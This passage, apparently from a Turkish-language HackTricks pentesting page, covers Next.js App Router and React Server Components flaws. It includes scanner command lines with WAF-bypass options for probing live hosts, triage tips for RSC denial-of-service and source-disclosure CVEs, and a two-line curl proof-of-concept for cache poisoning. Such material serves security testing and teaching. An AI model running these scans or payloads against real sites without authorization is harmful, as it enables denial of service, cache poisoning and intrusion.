• --safe-check mode kasıtlı olarak Flight mesajını bozar; böylece patched sunucular 200/400 dönerken, etkilenebilir hedefler gövde içinde E{"digest" alt dizesini içeren HTTP/500 yanıtları üretir. Bu (500 + digest) ikilisi şu anda savunucular tarafından yayımlanmış en güvenilir uzak oracle’dır.
• Dahili --waf-bypass, --vercel-waf-bypass ve --windows anahtarları payload düzenini ayarlar, başa gereksiz veri ekler veya OS komutlarını değiştirir; böylece gerçek İnternet varlıklarını sondalayabilirsiniz.

python3 scanner.py -u https://target.tld --path /app/api/submit --safe-check
python3 scanner.py -l hosts.txt -t 20 --waf-bypass -o vulnerable.json

Diğer yakın tarihli App Router sorunları (2025 sonu)

1. RSC DoS & source disclosure (CVE-2025-55184 / CVE-2025-67779 / CVE-2025-55183) – hatalı Flight payload’ları RSC resolver’ı sonsuz döngüye sokabilir (pre-auth DoS) veya derlenmiş Server Function kodunun başka işlemler için serializasyonunu zorlayabilir. App Router builds ≥13.3 yamalanana kadar etkilenir; 15.0.x–16.0.x için upstream advisory’den belirli patch satırları gereklidir. Normal Server Action yolunu tekrar kullanın ancak istismarcı $ referansları içeren bir text/x-component gövdesi stream edin. Bir CDN arkasında asılı kalan bağlantı, cache timeout’ları tarafından açık tutulur ve bu DoS’u ucuz hale getirir.

• Triage tip: Yamalanmamış hedefler hatalı Flight payload’larından sonra 500 döner ve E{"digest" içerir; yamalanmış build’lar 400/200 döner. Zaten Flight chunk’ları streamleyen herhangi bir endpoint’i test edin ( Next-Action header’larına veya text/x-component cevaplarına bakın) ve değiştirilmiş bir payload ile replay yapın.

2. RSC cache poisoning (CVE-2025-49005, App Router 15.3.0–15.3.2) – eksik Vary başlığı, Accept: text/x-component cevabının cache’lenmesine ve HTML bekleyen tarayıcılara servis edilmesine izin veriyor. Tek bir priming isteği sayfayı ham RSC payload’larıyla değiştirebilir. PoC flow:

# Prime CDN with an RSC response
curl -k -H "Accept: text/x-component" "https://target/app/dashboard" > /dev/null
# Immediately fetch without Accept (victim view)
curl -k "https://target/app/dashboard" | head

İkinci yanıt HTML yerine JSON Flight verisi dönerse, rota zehirlenebilir. Testten sonra cache’i temizleyin.

Referanslar

• Pentesting Next.js Server Actions — A Burp Extension for Hash-to-Function Mapping
• NextjsServerActionAnalyzer (Burp extension)
• CVE-2025-55182 React Server Components Remote Code Execution Exploit Tool
• CVE-2025-55182 & CVE-2025-66478 React2Shell – All You Need to Know
• 0xdf – HTB Previous (Next.js middleware bypass, static export recon, NextAuth config leak)
• assetnote/react2shell-scanner
• Next.js Security Update: December 11, 2025 (CVE-2025-55183/55184/67779)
• GHSA-r2fc-ccr8-96c4 / CVE-2025-49005: App Router cache poisoning

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

• abonelik planlarını kontrol edin!
• 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
• Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.